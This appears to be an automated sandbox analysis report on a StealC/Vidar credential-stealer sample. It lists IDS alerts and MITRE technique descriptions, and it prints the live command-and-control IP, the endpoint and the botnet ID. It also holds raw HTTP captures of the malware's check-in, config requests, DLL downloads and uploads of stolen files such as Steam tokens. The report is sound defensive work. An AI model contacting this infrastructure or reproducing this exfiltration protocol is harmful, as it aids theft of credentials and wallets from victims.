Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.b90000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.b90000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B99B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00B99B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B9C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00B9C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B99AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00B99AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B97240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00B97240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00BA8EA0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 39 43 32 32 45 33 39 33 37 30 33 33 30 30 34 35 32 34 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="hwid"999C22E39370330045240------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="build"doma------IJKKKFCFHCFIECBGDHID--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKJDGIJECFIEBFIDHCHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 2d 2d 0d 0a Data Ascii: ------GDBKJDGIJECFIEBFIDHCContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------GDBKJDGIJECFIEBFIDHCContent-Disposition: form-data; name="message"browsers------GDBKJDGIJECFIEBFIDHC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCBGDHIEBFHCBFHDHDHHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="message"plugins------DHCBGDHIEBFHCBFHDHDH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"fplugins------GHDBAFIIECBFHIEBKJJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBFHost: 185.215.113.37Content-Length: 6871Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKEHost: 185.215.113.37Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHCBAEHJJJKKFIDGHJEHost: 185.215.113.37Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECFIDGCBFBAKEBFBKFBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="file"------KECFIDGCBFBAKEBFBKFB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAAHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="file"------AAFIJKKEHJDHJKFIECAA--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJEHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="message"wallets------GHIDHCBGDHJKEBGDGIJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="message"files------EGCFHDAKECFIDGDGDBKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHIJEBKEBGHIDHJKJEGHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 2d 2d 0d 0a Data Ascii: ------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="file"------BFHIJEBKEBGHIDHJKJEG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJKHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="message"ybncbhylepme------HDAFBAEBKJKFIDHJJKJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 32 31 38 35 33 37 63 31 61 66 35 66 33 33 63 35 39 38 64 61 63 36 61 34 36 64 33 61 35 37 31 37 61 66 30 62 33 34 37 63 34 61 31 61 39 36 63 34 30 32 63 35 66 66 64 64 66 62 34 37 30 32 33 38 32 66 36 32 33 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="token"9a218537c1af5f33c598dac6a46d3a5717af0b347c4a1a96c402c5ffddfb4702382f6232------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIEBKKFHIEGCAKECGHJ--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
